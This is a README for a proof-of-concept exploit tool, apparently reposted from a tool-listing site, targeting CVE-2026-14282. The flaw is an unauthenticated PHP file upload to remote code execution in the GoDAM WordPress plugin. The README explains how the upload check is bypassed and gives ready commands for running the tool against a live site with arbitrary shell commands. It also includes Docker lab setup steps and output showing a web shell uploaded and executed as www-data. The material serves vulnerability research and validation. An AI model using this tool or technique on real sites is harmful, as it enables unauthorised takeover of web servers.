CVE-2026-14282 — GoDAM WordPress Plugin <= 1.12.2 Unauthenticated File Upload -> RCE

Author: nullwhisper
Use case: authorized security research / vulnerability validation only.

What is this?

GoDAM WordPress plugin versions <= 1.12.2 register a WPForms field called godam_record. The upload handler save_video_file() is hooked into the public wpforms_process_before_filter action, so it runs before any authentication check. The handler trusts the attacker-controlled Content-Type header, accepts a PHP file as long as the MIME type starts with video/, and moves it into the web-served directory wp-content/uploads/godam/wpforms/. This allows an unauthenticated attacker to upload and execute arbitrary PHP code.

• CVE: CVE-2026-14282
• Product: GoDAM WordPress plugin
• Affected: <= 1.12.2
• Fixed: 2.0.0
• Type: Unauthenticated arbitrary file upload leading to RCE
• CVSS: 9.8 (Critical)

References

• IONIX advisory: https://www.ionix.io/threat-center/cve-2026-14282/
• CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-14282
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-14282
• WordPress.org plugin page: https://wordpress.org/plugins/godam/

Files

.
├── cve_2026_14282_poc.py   # Main PoC
├── lab/
│   ├── docker-compose.yml  # WordPress lab
│   └── setup.php           # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md

Install

pip3 install -r requirements.txt

Usage

Live target

python3 cve_2026_14282_poc.py -u https://target.com/page-with-form

The script auto-detects the WPForms form ID and the GoDAM field ID. If the page contains multiple forms or detection fails, use:

python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
    --form-id 4 --field-id 1 --cmd "whoami"

Local lab

1. Download the vulnerable plugins (do not redistribute the binaries):

   root@kitploit:~

   mkdir -p lab/wpforms-lite lab/godam
   cd lab/wpforms-lite
   wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
   unzip wpforms-lite.latest-stable.zip
   rm wpforms-lite.latest-stable.zip
   cd ../godam
   wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
   unzip godam.1.12.2.zip
   rm godam.1.12.2.zip
   cd ../..
   

2. Start the lab:

   root@kitploit:~

   cd lab
   docker compose up -d
   

3. Complete the WordPress installer at http://127.0.0.1:8092.

4. Install and activate plugins, then create the form and test page:

   root@kitploit:~

   docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
   docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
   docker exec -i lab-wpcli-1 php /tmp/setup.php
   

5. Run the PoC:

   root@kitploit:~

   python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
   

Verified on localhost

Tested on WordPress 6.8 + WPForms Lite latest + GoDAM 1.12.2.

[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED

Why plugin binaries are not included

This repo contains only the PoC and lab orchestration files. The vulnerable plugin binaries are excluded to avoid bloat and distribution issues. Download the specific vulnerable versions from WordPress.org for your own lab.

Disclaimer

This tool is for authorized security testing and research only. Do not use it against systems you do not own or do not have explicit permission to test. The author is not responsible for misuse or damage caused by this code.